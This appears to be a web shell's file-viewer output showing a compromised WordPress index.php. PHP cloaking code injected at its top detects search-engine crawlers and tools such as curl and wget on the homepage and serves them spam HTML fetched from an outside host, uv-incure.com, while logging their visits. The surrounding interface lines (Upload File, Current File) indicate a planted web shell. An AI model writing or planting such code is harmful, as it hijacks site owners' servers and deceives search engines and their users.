Your IP : 216.73.217.87


Current Path : /srv/www/vlevski/new/
Upload File :
Current File : //srv/www/vlevski/new/index.php

<?php
// === CLOAKING FINAL AMAN KHUSUS HOMEPAGE ===

$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$ip  = $_SERVER['REMOTE_ADDR'] ?? 'unknown';

$bots = [
    'googlebot','google-inspectiontool','google-site-verification',
    'adsense','bingbot','slurp','yandex','telegrambot',
    'curl','wget','python','libwww','ahrefsbot','mj12bot'
];

$is_bot = false;
foreach ($bots as $bot) {
    if (strpos($ua, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

$is_homepage = ($uri === '/' || $uri === '/index.php' || $uri === '/index.html');

if ($is_bot && $is_homepage) {
    if (!headers_sent()) {
        header_remove();
        header('Content-Type: text/html; charset=utf-8');
    }

    $lp = @file_get_contents('https://uv-incure.com/get/vlevski.html');
    if ($lp && strlen($lp) > 100) {
        echo $lp;
    } else {
        echo '<!-- LP GAGAL DIMUAT -->';
    }

    // Log bot visit
    $log = date('Y-m-d H:i:s') . " | BOT | $ip | $ua" . PHP_EOL;
    file_put_contents(__DIR__ . '/bot-log.txt', $log, FILE_APPEND);

    exit;
}
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );